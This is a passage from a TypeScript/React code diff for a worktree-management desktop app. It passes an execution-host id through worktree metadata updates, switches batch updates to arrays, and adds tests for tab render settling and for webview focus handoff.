   const handleUnlinkReview = useCallback(() => {
+    const options = { executionHostId: worktree.hostId ?? 'local' }
     switch (hoverReviewProvider) {
       case 'github':
-        void updateWorktreeMeta(worktree.id, { linkedPR: null })
+        void updateWorktreeMeta(worktree.id, { linkedPR: null }, options)
         return
       case 'gitlab':
-        void updateWorktreeMeta(worktree.id, { linkedGitLabMR: null })
+        void updateWorktreeMeta(worktree.id, { linkedGitLabMR: null }, options)
         return
       case 'bitbucket':
-        void updateWorktreeMeta(worktree.id, { linkedBitbucketPR: null })
+        void updateWorktreeMeta(worktree.id, { linkedBitbucketPR: null }, options)
         return
       case 'azure-devops':
-        void updateWorktreeMeta(worktree.id, { linkedAzureDevOpsPR: null })
+        void updateWorktreeMeta(worktree.id, { linkedAzureDevOpsPR: null }, options)
         return
       case 'gitea':
-        void updateWorktreeMeta(worktree.id, { linkedGiteaPR: null })
+        void updateWorktreeMeta(worktree.id, { linkedGiteaPR: null }, options)
         break
       case 'unsupported':
       case undefined:
         break
     }
-  }, [hoverReviewProvider, updateWorktreeMeta, worktree.id])
+  }, [hoverReviewProvider, updateWorktreeMeta, worktree.hostId, worktree.id])
   const handleOpenLinearIssueInOrca = useCallback(
     (e: React.MouseEvent) => {
       e.stopPropagation()
diff --git a/src/renderer/src/components/sidebar/use-worktree-context-menu-commands.ts b/src/renderer/src/components/sidebar/use-worktree-context-menu-commands.ts
index 41320c81c02..7fb0790267b 100644
--- a/src/renderer/src/components/sidebar/use-worktree-context-menu-commands.ts
+++ b/src/renderer/src/components/sidebar/use-worktree-context-menu-commands.ts
@@ -42,7 +42,11 @@ export function useWorktreeContextMenuCommands(args: {
     window.api.ui.writeClipboardText(args.worktree.path)
   }, [args])
   const handleToggleRead = useCallback(() => {
-    args.updateWorktreeMeta(args.worktree.id, { isUnread: !args.worktree.isUnread })
+    args.updateWorktreeMeta(
+      args.worktree.id,
+      { isUnread: !args.worktree.isUnread },
+      { executionHostId: args.worktree.hostId ?? 'local' }
+    )
   }, [args])
   const handleTogglePin = useCallback(() => {
     args.setWorktreesPinnedAndReveal([args.worktree.id], !args.worktree.isPinned)
@@ -100,8 +104,17 @@ export function useWorktreeContextMenuCommands(args: {
         args.onAssignWorkspaceStatus?.(plan.worktreeIds, status)
         return
       }
+      const localWriteIds = new Set(plan.localWriteIds)
       void Promise.all(
-        plan.localWriteIds.map((id) => args.updateWorktreeMeta(id, { workspaceStatus: status }))
+        args.activeContextWorktrees
+          .filter((worktree) => localWriteIds.has(worktree.id))
+          .map((worktree) =>
+            args.updateWorktreeMeta(
+              worktree.id,
+              { workspaceStatus: status },
+              { executionHostId: worktree.hostId ?? 'local' }
+            )
+          )
       )
     },
     [args]
@@ -110,6 +123,7 @@ export function useWorktreeContextMenuCommands(args: {
     args.openModal('edit-meta', {
       worktreeId: args.worktree.id,
       repoId: args.worktree.repoId,
+      executionHostId: args.worktree.hostId,
       currentDisplayName: args.worktree.displayName,
       currentIssue: args.worktree.linkedIssue,
       currentPR: args.worktree.linkedPR,
diff --git a/src/renderer/src/components/sidebar/workspace-board-task-status-sync.ts b/src/renderer/src/components/sidebar/workspace-board-task-status-sync.ts
index 505459a99fd..b4e76ca0a17 100644
--- a/src/renderer/src/components/sidebar/workspace-board-task-status-sync.ts
+++ b/src/renderer/src/components/sidebar/workspace-board-task-status-sync.ts
@@ -1,10 +1,6 @@
-import {
-  linearGetIssue,
-  linearTeamStates,
-  linearUpdateIssue,
-  type LinearMutationResult,
-  type RuntimeLinearSettings
-} from '@/runtime/runtime-linear-client'
+import { linearGetIssue, linearUpdateIssue } from '@/runtime/runtime-linear-issue-mutations'
+import { linearTeamStates } from '@/runtime/runtime-linear-project-client'
+import type { LinearMutationResult, RuntimeLinearSettings } from '@/runtime/runtime-linear-client'
 import type { LinearIssue } from '../../../../shared/linear/issue-types'
 import type { LinearWorkflowState } from '../../../../shared/linear/workspace-types'
 import type {
diff --git a/src/renderer/src/components/sidebar/workspace-kanban-area-selection-state.ts b/src/renderer/src/components/sidebar/workspace-kanban-area-selection-state.ts
new file mode 100644
index 00000000000..6782b8e3122
--- /dev/null
+++ b/src/renderer/src/components/sidebar/workspace-kanban-area-selection-state.ts
@@ -0,0 +1,50 @@
+import type React from 'react'
+import type { AreaSelectionCardRect } from './workspace-kanban-area-selection-card-rects'
+
+export type AreaSelectionDragState = {
+  startX: number
+  startY: number
+  currentX: number
+  currentY: number
+  additive: boolean
+  baseSelectedIds: Set<string>
+  baseAnchorId: string | null
+  boardRect: DOMRect
+  cardRects: readonly AreaSelectionCardRect[]
+  scrollStartContentYByElement: ReadonlyMap<HTMLElement, number>
+  previewIds: Set<string>
+  finalAreaIds: string[]
+  started: boolean
+  frameId: number | null
+  scrollFrameId: number | null
+}
+
+type UpdateSelectionForArea = (
+  areaIds: readonly string[],
+  additive: boolean,
+  baseSelectedIds?: ReadonlySet<string>,
+  baseAnchorId?: string | null
+) => void
+
+export type UseWorkspaceKanbanAreaSelectionParams = {
+  open: boolean
+  boardRef: React.RefObject<HTMLDivElement | null>
+  overlayRef: React.RefObject<HTMLDivElement | null>
+  selectedWorktreeIds: ReadonlySet<string>
+  selectionAnchorId: string | null
+  updateSelectionForArea: UpdateSelectionForArea
+}
+
+export const AREA_SELECTION_DRAG_THRESHOLD = 4
+
+export function shouldCommitWorkspaceKanbanAreaSelection({
+  additive,
+  started
+}: {
+  additive: boolean
+  started: boolean
+}): boolean {
+  // Why: a plain click on empty board space is the user's "click off" gesture;
+  // modifier-clicking empty space should not accidentally drop a selected batch.
+  return started || !additive
+}
diff --git a/src/renderer/src/components/sidebar/workspace-kanban-area-selection.test.ts b/src/renderer/src/components/sidebar/workspace-kanban-area-selection.test.ts
index 86a51e1e8a2..558922293fe 100644
--- a/src/renderer/src/components/sidebar/workspace-kanban-area-selection.test.ts
+++ b/src/renderer/src/components/sidebar/workspace-kanban-area-selection.test.ts
@@ -6,7 +6,7 @@ import {
   getAreaSelectionCardIds,
   updatePreviewSelection
 } from './workspace-kanban-area-selection-dom'
-import { shouldCommitWorkspaceKanbanAreaSelection } from './use-workspace-kanban-area-selection'
+import { shouldCommitWorkspaceKanbanAreaSelection } from './workspace-kanban-area-selection-state'
 
 describe('workspace kanban area selection finish', () => {
   it('commits an empty non-additive surface click so selection clears', () => {
diff --git a/src/renderer/src/components/sidebar/workspace-kanban-sidebar-drop.test.ts b/src/renderer/src/components/sidebar/workspace-kanban-sidebar-drop.test.ts
index 0a333ca9180..4edd77c6357 100644
--- a/src/renderer/src/components/sidebar/workspace-kanban-sidebar-drop.test.ts
+++ b/src/renderer/src/components/sidebar/workspace-kanban-sidebar-drop.test.ts
@@ -574,7 +574,9 @@ describe('workspace kanban sidebar drop updates', () => {
     })
 
     expect(result.shouldSwitchToManual).toBe(false)
-    expect(Array.from(result.updates)).toEqual([['todo-a', { workspaceStatus: 'doing' }]])
+    expect(result.updates).toEqual([
+      { worktreeId: 'todo-a', updates: { workspaceStatus: 'doing' }, executionHostId: 'local' }
+    ])
   })
 
   it('keeps the dropped board position when Manual sort is active', () => {
@@ -601,12 +603,16 @@ describe('workspace kanban sidebar drop updates', () => {
     })
 
     expect(result.shouldSwitchToManual).toBe(true)
-    expect(result.updates.get('todo-a')).toEqual({
+    expect(result.updates.find((entry) => entry.worktreeId === 'todo-a')?.updates).toEqual({
       workspaceStatus: 'doing',
       manualOrder: 9000
     })
-    expect(result.updates.get('doing-a')).toEqual({ manualOrder: 10_000 })
-    expect(result.updates.get('doing-b')).toEqual({ manualOrder: 8000 })
+    expect(result.updates.find((entry) => entry.worktreeId === 'doing-a')?.updates).toEqual({
+      manualOrder: 10_000
+    })
+    expect(result.updates.find((entry) => entry.worktreeId === 'doing-b')?.updates).toEqual({
+      manualOrder: 8000
+    })
   })
 
   it('keeps board drops sparse when filtered rows already have durable ranks', () => {
@@ -662,8 +668,12 @@ describe('workspace kanban sidebar drop updates', () => {
       now: 10_000
     })
 
-    expect([...result.updates]).toEqual([
-      ['todo-a', { workspaceStatus: 'doing', manualOrder: 1500 }]
+    expect(result.updates).toEqual([
+      {
+        worktreeId: 'todo-a',
+        updates: { workspaceStatus: 'doing', manualOrder: 1500 },
+        executionHostId: 'local'
+      }
     ])
   })
 })
diff --git a/src/renderer/src/components/sidebar/workspace-kanban-sidebar-drop.ts b/src/renderer/src/components/sidebar/workspace-kanban-sidebar-drop.ts
index 8672bbc5582..d0db89c9faa 100644
--- a/src/renderer/src/components/sidebar/workspace-kanban-sidebar-drop.ts
+++ b/src/renderer/src/components/sidebar/workspace-kanban-sidebar-drop.ts
@@ -14,6 +14,7 @@ import {
   shouldWriteManualOrderForGroupDrop,
   type WorktreeDragGroup
 } from './worktree-manual-order'
+import type { WorktreeMetaBatchUpdate } from '../../store/slices/worktree-helpers'
 import {
   CARD_SELECTOR,
   getCardDropTarget,
@@ -221,7 +222,7 @@ export function buildWorkspaceKanbanSidebarDropUpdates(args: {
   sortBy: string
   now: number
 }): {
-  updates: Map<string, Partial<WorktreeMeta>>
+  updates: WorktreeMetaBatchUpdate[]
   shouldSwitchToManual: boolean
 } {
   const sourceGroupKeys = args.worktreeIds.flatMap((worktreeId) => {
@@ -245,25 +246,41 @@ export function buildWorkspaceKanbanSidebarDropUpdates(args: {
       })
     : { changed: false, updates: new Map<string, { manualOrder: number }>() }
 
-  const updates = new Map<string, Partial<WorktreeMeta>>()
+  const updates: WorktreeMetaBatchUpdate[] = []
   for (const worktreeId of args.worktreeIds) {
     const current = args.worktreeById.get(worktreeId)
     if (!current) {
       continue
     }
+    const next: Partial<WorktreeMeta> = {}
     if (getWorkspaceStatus(current, args.workspaceStatuses) !== args.status) {
-      updates.set(worktreeId, { workspaceStatus: args.status })
+      next.workspaceStatus = args.status
     }
+    updates.push({
+      worktreeId,
+      updates: next,
+      executionHostId: current.hostId ?? 'local'
+    })
   }
 
   if (writeManualOrder) {
     for (const [worktreeId, manualOrder] of order.updates) {
-      updates.set(worktreeId, { ...updates.get(worktreeId), ...manualOrder })
+      const current = args.worktreeById.get(worktreeId)
+      const entry = updates.find((candidate) => candidate.worktreeId === worktreeId)
+      if (entry) {
+        entry.updates = { ...entry.updates, ...manualOrder }
+      } else if (current) {
+        updates.push({
+          worktreeId,
+          updates: manualOrder,
+          executionHostId: current.hostId ?? 'local'
+        })
+      }
     }
   }
 
   return {
-    updates,
+    updates: updates.filter((entry) => Object.keys(entry.updates).length > 0),
     shouldSwitchToManual: writeManualOrder && order.changed
   }
 }
diff --git a/src/renderer/src/components/sidebar/worktree-list/drag/use-status-mutations.ts b/src/renderer/src/components/sidebar/worktree-list/drag/use-status-mutations.ts
index 435d8e34cf2..6243f34cf02 100644
--- a/src/renderer/src/components/sidebar/worktree-list/drag/use-status-mutations.ts
+++ b/src/renderer/src/components/sidebar/worktree-list/drag/use-status-mutations.ts
@@ -6,6 +6,7 @@ import type {
   Worktree
 } from '../../../../../../shared/worktree/types'
 import type { WorktreeMeta } from '../../../../../../shared/worktree/meta-types'
+import type { WorktreeMetaBatchUpdate } from '../../../../store/slices/worktree-helpers'
 import { getWorkspaceStatus, getWorkspaceStatusGroupKey } from '../../workspace-status'
 import {
   buildManualOrderUpdatesForGroupDrop,
@@ -37,22 +38,30 @@ export function useWorktreeStatusMutations(args: {
       if (!current || getWorkspaceStatus(current, workspaceStatuses) === status) {
         return
       }
-      void updateWorktreeMeta(worktreeId, { workspaceStatus: status })
+      void updateWorktreeMeta(
+        worktreeId,
+        { workspaceStatus: status },
+        { executionHostId: current.hostId ?? 'local' }
+      )
     },
     [updateWorktreeMeta, worktreeMap, workspaceStatuses]
   )
 
   const moveWorktreesToStatus = useCallback(
     (worktreeIds: readonly string[], status: WorkspaceStatus) => {
-      const updates = new Map<string, { workspaceStatus: WorkspaceStatus }>()
+      const updates: WorktreeMetaBatchUpdate[] = []
       for (const worktreeId of worktreeIds) {
         const current = worktreeMap.get(worktreeId)
         if (!current || getWorkspaceStatus(current, workspaceStatuses) === status) {
           continue
         }
-        updates.set(worktreeId, { workspaceStatus: status })
+        updates.push({
+          worktreeId,
+          updates: { workspaceStatus: status },
+          executionHostId: current.hostId ?? 'local'
+        })
       }
-      if (updates.size > 0) {
+      if (updates.length > 0) {
         void updateWorktreesMeta(updates)
       }
     },
@@ -70,7 +79,7 @@ export function useWorktreeStatusMutations(args: {
         rankByWorktreeId: manualOrderCatalog.rankByWorktreeId,
         allWorktreeIds: manualOrderCatalog.orderedIds
       })
-      const updates = new Map<string, Partial<WorktreeMeta>>()
+      const updates = new Map<string, WorktreeMetaBatchUpdate>()
       for (const worktreeId of dropArgs.worktreeIds) {
         const current = worktreeMap.get(worktreeId)
         if (!current) {
@@ -80,13 +89,20 @@ export function useWorktreeStatusMutations(args: {
         if (getWorkspaceStatus(current, workspaceStatuses) !== dropArgs.status) {
           next.workspaceStatus = dropArgs.status
         }
-        updates.set(worktreeId, next)
+        updates.set(worktreeId, {
+          worktreeId,
+          updates: next,
+          executionHostId: current.hostId ?? 'local'
+        })
       }
       for (const [worktreeId, manualOrder] of order.updates) {
-        updates.set(worktreeId, { ...updates.get(worktreeId), ...manualOrder })
+        const entry = updates.get(worktreeId)
+        if (entry) {
+          entry.updates = { ...entry.updates, ...manualOrder }
+        }
       }
-      for (const [worktreeId, update] of Array.from(updates)) {
-        if (Object.keys(update).length === 0) {
+      for (const [worktreeId, entry] of updates) {
+        if (Object.keys(entry.updates).length === 0) {
           updates.delete(worktreeId)
         }
       }
@@ -97,7 +113,7 @@ export function useWorktreeStatusMutations(args: {
       if (order.changed) {
         setSortBy('manual')
       }
-      void updateWorktreesMeta(updates)
+      void updateWorktreesMeta([...updates.values()])
     },
     [manualOrderCatalog, setSortBy, updateWorktreesMeta, worktreeMap, workspaceStatuses]
   )
@@ -129,14 +145,18 @@ export function useWorktreeStatusMutations(args: {
         rankByWorktreeId: manualOrderCatalog.rankByWorktreeId,
         allWorktreeIds: manualOrderCatalog.orderedIds
       })
-      if (!result.changed) {
-        return
+      if (result.changed) {
+        setSortBy('manual')
       }
-      // Why: only switch to Manual after a real move so accidental click-drags don't change the sort.
-      setSortBy('manual')
-      void updateWorktreesMeta(result.updates)
+      void updateWorktreesMeta(
+        [...result.updates].map(([worktreeId, updates]) => ({
+          worktreeId,
+          updates,
+          executionHostId: worktreeMap.get(worktreeId)?.hostId ?? 'local'
+        }))
+      )
     },
-    [manualOrderCatalog, setSortBy, updateWorktreesMeta]
+    [manualOrderCatalog, setSortBy, updateWorktreesMeta, worktreeMap]
   )
 
   const shouldShowWorkspaceBoardDropIndicator = useCallback(
@@ -165,7 +185,7 @@ export function useWorktreeStatusMutations(args: {
         allWorktreeIds: manualOrderCatalog.orderedIds,
         rankByWorktreeId: manualOrderCatalog.rankByWorktreeId
       })
-      if (result.updates.size === 0) {
+      if (result.updates.length === 0) {
         return
       }
       // Why: switch to Manual when the drop changes order so the placement stays visible.
diff --git a/src/renderer/src/components/sidebar/worktree-unambiguous-id-index.test.ts b/src/renderer/src/components/sidebar/worktree-unambiguous-id-index.test.ts
new file mode 100644
index 00000000000..5c6afdd3199
--- /dev/null
+++ b/src/renderer/src/components/sidebar/worktree-unambiguous-id-index.test.ts
@@ -0,0 +1,43 @@
+import { describe, expect, it } from 'vitest'
+import { buildUnambiguousWorktreeIdIndex } from './worktree-unambiguous-id-index'
+import type { Worktree } from '../../../../shared/worktree/types'
+
+function worktree(id: string, hostId: Worktree['hostId']): Worktree {
+  return {
+    id,
+    repoId: 'repo',
+    path: `/repo/${id}`,
+    branch: id,
+    isMainWorktree: false,
+    hostId
+  } as Worktree
+}
+
+describe('buildUnambiguousWorktreeIdIndex', () => {
+  it('keeps unique bare ids', () => {
+    const local = worktree('repo::local', 'local')
+    const remote = worktree('repo::remote', 'ssh:host')
+
+    expect(buildUnambiguousWorktreeIdIndex([local, remote])).toEqual(
+      new Map([
+        ['repo::local', local],
+        ['repo::remote', remote]
+      ])
+    )
+  })
+
+  it('drops bare ids claimed by multiple hosts', () => {
+    const local = worktree('repo::feature', 'local')
+    const remote = worktree('repo::feature', 'ssh:host')
+
+    expect(buildUnambiguousWorktreeIdIndex([local, remote]).has('repo::feature')).toBe(false)
+  })
+
+  it('keeps later unique ids after an ambiguity is found', () => {
+    const local = worktree('repo::feature', 'local')
+    const remote = worktree('repo::feature', 'ssh:host')
+    const other = worktree('repo::other', 'local')
+
+    expect(buildUnambiguousWorktreeIdIndex([local, remote, other]).get('repo::other')).toBe(other)
+  })
+})
diff --git a/src/renderer/src/components/sidebar/worktree-unambiguous-id-index.ts b/src/renderer/src/components/sidebar/worktree-unambiguous-id-index.ts
new file mode 100644
index 00000000000..ce3f2fcf91b
--- /dev/null
+++ b/src/renderer/src/components/sidebar/worktree-unambiguous-id-index.ts
@@ -0,0 +1,17 @@
+import type { Worktree } from '../../../../shared/worktree/types'
+
+export function buildUnambiguousWorktreeIdIndex(
+  worktrees: readonly Worktree[]
+): Map<string, Worktree> {
+  const index = new Map<string, Worktree>()
+  const ambiguous = new Set<string>()
+  for (const worktree of worktrees) {
+    if (index.has(worktree.id)) {
+      index.delete(worktree.id)
+      ambiguous.add(worktree.id)
+    } else if (!ambiguous.has(worktree.id)) {
+      index.set(worktree.id, worktree)
+    }
+  }
+  return index
+}
diff --git a/src/renderer/src/components/status-bar/ResourceUsageStatusSegment.tsx b/src/renderer/src/components/status-bar/ResourceUsageStatusSegment.tsx
index a4d57276d1c..5a66e5214a6 100644
--- a/src/renderer/src/components/status-bar/ResourceUsageStatusSegment.tsx
+++ b/src/renderer/src/components/status-bar/ResourceUsageStatusSegment.tsx
@@ -1563,12 +1563,12 @@ export function ResourceUsageStatusSegment({
               {orphanCount === 1
                 ? translate(
                     'auto.components.status.bar.ResourceUsageStatusSegment.c7e3b1a0d9f2',
-                    'Kill {{value0}} orphan terminal',
+                    'End {{value0}} orphan terminal',
                     { value0: orphanCount }
                   )
                 : translate(
                     'auto.components.status.bar.ResourceUsageStatusSegment.d8f4c2b1e0a3',
-                    'Kill {{value0}} orphan terminals',
+                    'End {{value0}} orphan terminals',
                     { value0: orphanCount }
                   )}
             </button>
diff --git a/src/renderer/src/components/status-bar/WorkspaceSpaceManagerPanel.tsx b/src/renderer/src/components/status-bar/WorkspaceSpaceManagerPanel.tsx
index c4d8b080843..af74109cae9 100644
--- a/src/renderer/src/components/status-bar/WorkspaceSpaceManagerPanel.tsx
+++ b/src/renderer/src/components/status-bar/WorkspaceSpaceManagerPanel.tsx
@@ -54,7 +54,7 @@ import {
   getWorktreeMapFromState,
   getWorktreeOnHostFromState
 } from '../../store/selectors'
-import { getHostedReviewCacheKey } from '../../store/slices/hosted-review'
+import { getHostedReviewCacheKey } from '../../store/slices/hosted-review-cache-identity'
 import { issueCacheKey as getIssueCacheKey } from '../../store/github/cache-identity'
 import { findRepoForHost } from '@/store/slices/repo-host-identity'
 import {
diff --git a/src/renderer/src/components/tab-bar/SortableTab.update-depth-probe.test.tsx b/src/renderer/src/components/tab-bar/SortableTab.update-depth-probe.test.tsx
new file mode 100644
index 00000000000..acbd7ce38bc
--- /dev/null
+++ b/src/renderer/src/components/tab-bar/SortableTab.update-depth-probe.test.tsx
@@ -0,0 +1,212 @@
+// @vitest-environment happy-dom
+
+/**
+ * Pins the settling guarantee for every setState-in-effect path SortableTab owns
+ * (rename shortcut, title churn mid-rename, store write storms, StrictMode double
+ * invoke) under a real React root, where "Maximum update depth exceeded" throws.
+ *
+ * Written while triaging the React #185 crash cluster whose component_stack names
+ * SortableTab: these paths settle, which matches shared/react-update-depth-attribution.ts
+ * — #185 lands on whichever fiber dispatched next after a root-global counter tripped,
+ * so that stack names a bystander. Keep this green so the tab stays exonerated.
+ */
+import type { ReactElement, ReactNode } from 'react'
+import { cloneElement, isValidElement, StrictMode, useEffect, useState } from 'react'
+import { act, render, cleanup } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { TerminalTab } from '../../../../shared/terminal-tab-types'
+import type { TabDragItemData } from '../tab-group/useTabDragSplit'
+import { useAppStore } from '../../store'
+import SortableTab from './SortableTab'
+
+type ProbeState = {
+  unreadTerminalTabs: Record<string, boolean>
+  unreadAgentCompletionPanes: Record<string, boolean>
+  agentStatusByPaneKey: Record<string, unknown>
+  agentStatusEpoch: number
+  runtimePaneTitlesByTabId: Record<string, Record<number, string>>
+  ptyIdsByTabId: Record<string, string[]>
+  terminalLayoutsByTabId: Record<string, unknown>
+  renamingTabId: string | null
+  keybindings: Record<string, unknown>
+  setRenamingTabId: (tabId: string | null) => void
+}
+
+type StoreApiWithHook = {
+  (selector: (state: ProbeState) => unknown): unknown
+  getState: () => ProbeState
+  setState: (partial: Partial<ProbeState>) => void
+}
+
+// Both specifiers resolve to the same store module; memoize so they share one instance.
+async function createProbeStore(): Promise<StoreApiWithHook> {
+  const globalKey = '__sortableTabProbeStore'
+  const globals = globalThis as Record<string, unknown>
+  if (!globals[globalKey]) {
+    const { create } = await import('zustand')
+    globals[globalKey] = create<ProbeState>((set) => ({
+      unreadTerminalTabs: {},
+      unreadAgentCompletionPanes: {},
+      agentStatusByPaneKey: {},
+      agentStatusEpoch: 0,
+      runtimePaneTitlesByTabId: {},
+      ptyIdsByTabId: {},
+      terminalLayoutsByTabId: {},
+      renamingTabId: null,
+      keybindings: {},
+      setRenamingTabId: (tabId) => set({ renamingTabId: tabId })
+    }))
+  }
+  return globals[globalKey] as StoreApiWithHook
+}
+
+vi.mock('@/store', async () => ({ useAppStore: await createProbeStore() }))
+vi.mock('../../store', async () => ({ useAppStore: await createProbeStore() }))
+
+vi.mock('@dnd-kit/sortable', () => ({
+  useSortable: ({ id }: { id: string }) => ({
+    attributes: { role: 'tab', 'data-sortable-id': id },
+    listeners: { onPointerDown: vi.fn() },
+    setNodeRef: vi.fn()
+  })
+}))
+
+vi.mock('@/lib/use-tab-agent', () => ({ useTabAgent: () => null }))
+
+vi.mock('@/components/ui/tooltip', () => ({
+  Tooltip: ({ children }: { children: ReactNode }) => <div>{children}</div>,
+  TooltipContent: ({ children }: { children: ReactNode }) => <div>{children}</div>,
+  TooltipTrigger: ({ children, asChild }: { children: ReactNode; asChild?: boolean }) =>
+    asChild && isValidElement(children) ? (
+      cloneElement(children as ReactElement<Record<string, unknown>>)
+    ) : (
+      <span>{children}</span>
+    )
+}))
+
+vi.mock('@/components/ui/dropdown-menu', () => ({
+  DropdownMenu: ({ children }: { children: ReactNode }) => <>{children}</>,
+  DropdownMenuContent: () => null,
+  DropdownMenuItem: ({ children }: { children?: ReactNode }) => <>{children}</>,
+  DropdownMenuSeparator: () => null,
+  DropdownMenuShortcut: ({ children }: { children?: ReactNode }) => <>{children}</>,
+  DropdownMenuLabel: ({ children }: { children?: ReactNode }) => <>{children}</>,
+  DropdownMenuSub: ({ children }: { children?: ReactNode }) => <>{children}</>,
+  DropdownMenuSubContent: ({ children }: { children?: ReactNode }) => <>{children}</>,
+  DropdownMenuSubTrigger: ({ children }: { children?: ReactNode }) => <>{children}</>,
+  DropdownMenuTrigger: ({ children }: { children: ReactNode }) => <>{children}</>
+}))
+
+vi.mock('@/components/ui/input', () => ({
+  Input: (props: Record<string, unknown>) => <input {...props} />
+}))
+
+vi.mock('./shell-icons', () => ({ ShellIcon: () => <span /> }))
+vi.mock('@/lib/agent-catalog', () => ({ AgentIcon: () => <span /> }))
+vi.mock('../sidebar/WorktreeCardHelpers', () => ({ FilledBellIcon: () => <span /> }))
+
+function makeTab(overrides: Partial<TerminalTab> = {}): TerminalTab {
+  return {
+    id: 'terminal-tab-1',
+    title: 'Terminal 1',
+    worktreeId: 'wt-1',
+    ...overrides
+  } as TerminalTab
+}
+
+const dragData: TabDragItemData = {
+  kind: 'tab',
+  worktreeId: 'wt-1',
+  groupId: 'group-1',
+  unifiedTabId: 'unified-1',
+  visibleTabId: 'terminal-tab-1',
+  tabType: 'terminal',
+  label: 'Terminal 1'
+}
+
+const probeStore = useAppStore as unknown as StoreApiWithHook
+
+let renderCount = 0
+
+function Harness({ tab }: { tab: TerminalTab }): ReactElement {
+  renderCount += 1
+  return (
+    <SortableTab
+      tab={tab}
+      unifiedTabId="unified-1"
+      groupId="group-1"
+      tabCount={1}
+      hasTabsToRight={false}
+      hasTabsToLeft={false}
+      isActive
+      isPinned={false}
+      isExpanded={false}
+      onActivate={vi.fn()}
+      onClose={vi.fn()}
+      onCloseOthers={vi.fn()}
+      onCloseToRight={vi.fn()}
+      onCloseToLeft={vi.fn()}
+      onSetCustomTitle={vi.fn()}
+      onSetTabColor={vi.fn()}
+      onTogglePin={vi.fn()}
+      onToggleExpand={vi.fn()}
+      // A fresh object per render, exactly like renderTabBarItems builds it.
+      dragData={{ ...dragData }}
+      dropIndicator={null}
+    />
+  )
+}
+
+/** Re-renders the tab with a new tab object on every store write, like the tab strip does. */
+function ChurningHarness({ titles }: { titles: string[] }): ReactElement {
+  const [index, setIndex] = useState(0)
+  useEffect(() => {
+    if (index < titles.length - 1) {
+      setIndex(index + 1)
+    }
+  }, [index, titles.length])
+  return <Harness tab={makeTab({ title: titles[index] })} />
+}
+
+afterEach(() => {
+  cleanup()
+  probeStore.setState({ renamingTabId: null, unreadTerminalTabs: {}, agentStatusEpoch: 0 })
+  renderCount = 0
+})
+
+describe('SortableTab update-depth probe', () => {
+  it('settles when the rename shortcut arms renamingTabId', () => {
+    probeStore.setState({ renamingTabId: 'terminal-tab-1' })
+    const { container } = render(<Harness tab={makeTab()} />)
+    expect(container.querySelector('[data-tab-rename-input]')).not.toBeNull()
+    expect(probeStore.getState().renamingTabId).toBeNull()
+    expect(renderCount).toBeLessThan(20)
+  })
+
+  it('settles under title churn while the rename editor is open', () => {
+    probeStore.setState({ renamingTabId: 'terminal-tab-1' })
+    render(<ChurningHarness titles={['a', 'b', 'c', 'd', 'e', 'f']} />)
+    expect(renderCount).toBeLessThan(40)
+  })
+
+  it('settles under a store write storm', () => {
+    render(<Harness tab={makeTab()} />)
+    const before = renderCount
+    act(() => {
+      for (let i = 0; i < 60; i += 1) {
+        probeStore.setState({ agentStatusEpoch: i, agentStatusByPaneKey: {} })
+      }
+    })
+    expect(renderCount - before).toBeLessThan(200)
+  })
+
+  it('settles in StrictMode double-invoked effects', () => {
+    probeStore.setState({ renamingTabId: 'terminal-tab-1' })
+    render(
+      <StrictMode>
+        <Harness tab={makeTab()} />
+      </StrictMode>
+    )
+    expect(probeStore.getState().renamingTabId).toBeNull()
+  })
+})
diff --git a/src/renderer/src/components/tab-bar/tab-strip-pointer-activation.test.tsx b/src/renderer/src/components/tab-bar/tab-strip-pointer-activation.test.tsx
index d1d644f7660..20d6e17cb56 100644
--- a/src/renderer/src/components/tab-bar/tab-strip-pointer-activation.test.tsx
+++ b/src/renderer/src/components/tab-bar/tab-strip-pointer-activation.test.tsx
@@ -119,4 +119,42 @@ describe('useTabStripPointerActivation', () => {
 
     expect(onActivate).not.toHaveBeenCalled()
   })
+
+  // Why this is not that flush: an in-page <webview> holding the keyboard leaves the embedder
+  // blurred, so the press on the tab is itself what pulls window focus back. Treating it as an app
+  // switch is what shut the tab strip for anyone reading a browser page or a document preview.
+  it('still activates when the press is what pulled focus back from a guest', () => {
+    const onActivate = vi.fn()
+    const guest = document.createElement('webview')
+    document.body.append(guest)
+    guest.tabIndex = -1
+    guest.focus()
+    const { result } = renderHook(() => useTabStripPointerActivation({ onActivate }))
+
+    act(() => result.current.onPointerDown(pointerDownEvent(10, 10)))
+    act(() => window.dispatchEvent(new Event('focus')))
+    firePointer('pointerup', 11, 11)
+
+    expect(onActivate).toHaveBeenCalledTimes(1)
+    guest.remove()
+  })
+
+  // The forgiveness is spent on that one handoff: a press held across a real app switch still
+  // flushes rather than activating whenever the release happens to land.
+  it('flushes a press that outlives the guest handoff it started with', () => {
+    const onActivate = vi.fn()
+    const guest = document.createElement('webview')
+    document.body.append(guest)
+    guest.tabIndex = -1
+    guest.focus()
+    const { result } = renderHook(() => useTabStripPointerActivation({ onActivate }))
+
+    act(() => result.current.onPointerDown(pointerDownEvent(10, 10)))
+    act(() => window.dispatchEvent(new Event('focus')))
+    act(() => window.dispatchEvent(new Event('focus')))
+    firePointer('pointerup', 11, 11)
+
+    expect(onActivate).not.toHaveBeenCalled()
+    guest.remove()
+  })
 })
diff --git a/src/renderer/src/components/tab-bar/tab-strip-pointer-activation.ts b/src/renderer/src/components/tab-bar/tab-strip-pointer-activation.ts
index e581e73ba9c..c7dda6be2d1 100644
--- a/src/renderer/src/components/tab-bar/tab-strip-pointer-activation.ts
+++ b/src/renderer/src/components/tab-bar/tab-strip-pointer-activation.ts
@@ -17,6 +17,11 @@ import { beginTabStripPointerGesture } from './tab-strip-pointer-gesture'
  * drag (activation suppressed). Because each press measures its own gesture, a
  * click after a reorder always activates.
  */
+/** Whether an in-page guest (a `<webview>`) currently owns the keyboard, which blurs the embedder. */
+function isGuestHoldingKeyboard(): boolean {
+  return typeof document !== 'undefined' && document.activeElement?.tagName === 'WEBVIEW'
+}
+
 export function useTabStripPointerActivation({
   onActivate,
   disabled = false
@@ -51,12 +56,16 @@ export function useTabStripPointerActivation({
       const startX = event.clientX
       const startY = event.clientY
       const releaseTabStripPointerGesture = beginTabStripPointerGesture()
+      // Why a press that starts under a guest forgives one window focus: an in-page <webview>
+      // holding the keyboard leaves the embedder blurred, so this very press is what pulls focus
+      // back and #7316's flush would eat the click that takes the reader out of a browser pane.
+      let pendingGuestFocusHandoff = isGuestHoldingKeyboard()
 
       const cleanup = (): void => {
         window.removeEventListener('pointerup', onPointerUp)
         window.removeEventListener('pointercancel', onPointerCancel)
         window.removeEventListener('blur', onPointerCancel)
-        window.removeEventListener('focus', onPointerCancel)
